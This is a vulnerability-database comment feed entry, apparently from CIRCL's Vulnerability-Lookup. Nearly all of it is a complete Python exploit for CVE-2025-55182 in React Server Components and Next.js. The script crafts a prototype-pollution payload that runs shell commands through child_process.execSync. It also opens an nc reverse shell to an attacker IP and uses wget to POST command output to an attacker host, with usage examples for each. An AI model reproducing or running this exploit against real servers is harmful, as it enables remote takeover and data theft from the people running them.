https://cve.circl.lu/comments/feed Most recent comments. 2025-12-06T17:38:01.746788+00:00 Vulnerability-Lookup info@circl.lu python-feedgen Contains only the most 10 recent comments. https://cve.circl.lu/comment/2e5fbe69-3e25-46fd-b861-dd01b344fbaa CVE-2025-55182 - React Server Components RCE Exploit 2025-12-06T17:38:01.751316+00:00 Cédric Bonhomme http://cvepremium.circl.lu/user/cedric ```python #!/usr/bin/env python3 """ CVE-2025-55182 - React Server Components RCE Exploit Full Remote Code Execution against Next.js applications ⚠️ FOR AUTHORIZED SECURITY TESTING ONLY ⚠️ Affected versions: - react-server-dom-webpack: 19.0.0 - 19.2.0 - Next.js: 15.x, 16.x (using App Router with Server Actions) The vulnerability exploits prototype pollution in the Flight protocol deserialization to achieve arbitrary code execution. Credit: - Wiz for vuln discovery - @maple3142 for first working poc - @dez_ for this vibe poc """ import requests import argparse import sys import time class CVE2025_55182_RCE: """Full RCE exploit for CVE-2025-55182""" def __init__(self, target_url: str, timeout: int = 15): self.target_url = target_url.rstrip('/') self.timeout = timeout self.session = requests.Session() def build_payload(self, command: str) -> dict: """ Build the RCE payload that exploits prototype pollution. The payload creates a fake React chunk object that: 1. Pollutes Object.prototype.then via "$1:__proto__:then" 2. Sets _formData.get to Function constructor via "$1:constructor:constructor" 3. Injects code via _prefix that gets passed to Function() """ # Escape single quotes in command escaped_cmd = command.replace("'", "'\"'\"'") # The malicious fake chunk structure payload_0 = ( '{"then":"$1:__proto__:then",' '"status":"resolved_model",' '"reason":-1,' '"value":"{\\"then\\":\\"$B1337\\"}",' '"_response":{' '"_prefix":"process.mainModule.require(\'child_process\').execSync(\'' + escaped_cmd + '\');",' '"_chunks":"$Q2",' '"_formData":{"get":"$1:constructor:constructor"}' '}}' ) return { '0': (None, payload_0), '1': (None, '"$@0"'), # Reference to chunk 0 '2': (None, '[]'), # Empty array for chunks } def execute(self, command: str) -> dict: """ Execute arbitrary command on the target server. Args: command: Shell command to execute Returns: dict with success status and any output """ print(f"[*] Target: {self.target_url}") print(f"[*] Command: {command}") headers = { 'Accept': 'text/x-component', 'Next-Action': 'x', # Invalid action ID triggers vulnerable path 'User-Agent': 'CVE-2025-55182-Exploit/1.0', } files = self.build_payload(command) result = { 'success': False, 'command': command, 'target': self.target_url, } try: print(f"[*] Sending exploit payload...") resp = self.session.post( self.target_url, headers=headers, files=files, timeout=self.timeout ) result['status_code'] = resp.status_code result['response'] = resp.text[:500] # A 500 response often indicates the exploit worked # (the command runs but the response fails to serialize) if resp.status_code == 500: print(f"[+] Exploit sent successfully (status 500)") result['success'] = True else: print(f"[?] Unexpected status: {resp.status_code}") except requests.exceptions.Timeout: # Timeout is expected - the server hangs processing the payload print(f"[+] Request timed out (expected during RCE)") result['success'] = True result['timeout'] = True except Exception as e: print(f"[-] Error: {e}") result['error'] = str(e) return result def check_vulnerability(self) -> bool: """Quick check if target is vulnerable""" print(f"[*] Checking if {self.target_url} is vulnerable...") headers = { 'Accept': 'text/x-component', 'Next-Action': 'x', } # Simple detection payload files = { '0': (None, '["$1:a:a"]'), '1': (None, '{}'), } try: resp = self.session.post( self.target_url, headers=headers, files=files, timeout=10 ) if resp.status_code == 500 and 'E{"digest"' in resp.text: print(f"[+] Target appears VULNERABLE!") return True else: print(f"[-] Target may not be vulnerable (status {resp.status_code})") return False except Exception as e: print(f"[-] Check failed: {e}") return False def reverse_shell(self, attacker_ip: str, attacker_port: int) -> dict: """ Attempt to establish a reverse shell. Args: attacker_ip: IP address to connect back to attacker_port: Port to connect back to """ # mkfifo reverse shell - works on Alpine/busybox containers revshell = ( f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {attacker_ip} {attacker_port} >/tmp/f" ) print(f"\n[!] Attempting reverse shell to {attacker_ip}:{attacker_port}") print(f"[!] Start listener: nc -lvnp {attacker_port}") return self.execute(revshell) def exfiltrate(self, command: str, attacker_ip: str, attacker_port: int) -> dict: """ Execute command and send output to attacker via HTTP POST. Args: command: Command to execute attacker_ip: IP address to send output to attacker_port: Port to send output to Start a listener with: nc -lvnp PORT Output will arrive as HTTP POST body. """ # Using wget to POST command output back exfil_cmd = f'wget --post-data="$({command})" http://{attacker_ip}:{attacker_port}/ -O- 2>/dev/null' print(f"\n[!] Executing: {command}") print(f"[!] Output will POST to {attacker_ip}:{attacker_port}") print(f"[!] Start listener: nc -lvnp {attacker_port}") return self.execute(exfil_cmd) def main(): parser = argparse.ArgumentParser( description='CVE-2025-55182 React Server Components RCE Exploit', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=''' Examples: # Check if vulnerable python3 exploit_rce.py http://target:3000 --check # Execute command (blind) python3 exploit_rce.py http://target:3000 -c "id" # Execute command with output exfiltration python3 exploit_rce.py http://target:3000 --exfil "id" 10.0.0.1 4444 # Reverse shell (uses mkfifo + nc, works on Alpine) python3 exploit_rce.py http://target:3000 --revshell 10.0.0.1 4444 ''' ) parser.add_argument('target', help='Target URL (e.g., http://localhost:3000)') parser.add_argument('-c', '--command', help='Command to execute (blind)') parser.add_argument('--check', action='store_true', help='Check if vulnerable') parser.add_argument('--revshell', nargs=2, metavar=('IP', 'PORT'), help='Reverse shell to IP:PORT') parser.add_argument('--exfil', nargs=3, metavar=('CMD', 'IP', 'PORT'), help='Execute CMD and POST output to IP:PORT') parser.add_argument('-t', '--timeout', type=int, default=15, help='Request timeout (default: 15)') args = parser.parse_args() if not any([args.check, args.command, args.revshell, args.exfil]): parser.print_help() print("\n[!] Specify --check, --command, --revshell, or --exfil") return 1 exploit = CVE2025_55182_RCE(args.target, args.timeout) print("=" * 60) print("CVE-2025-55182 - React Server Components RCE") print("=" * 60) if args.check: return 0 if exploit.check_vulnerability() else 1 if args.command: result = exploit.execute(args.command) return 0 if result.get('success') else 1 if args.revshell: ip, port = args.revshell result = exploit.reverse_shell(ip, int(port)) return 0 if result.get('success') else 1 if args.exfil: cmd, ip, port = args.exfil result = exploit.exfiltrate(cmd, ip, int(port)) return 0 if result.get('success') else 1 return 0 if __name__ == '__main__': sys.exit(main()) ``` 2025-12-05T08:43:03.897961+00:00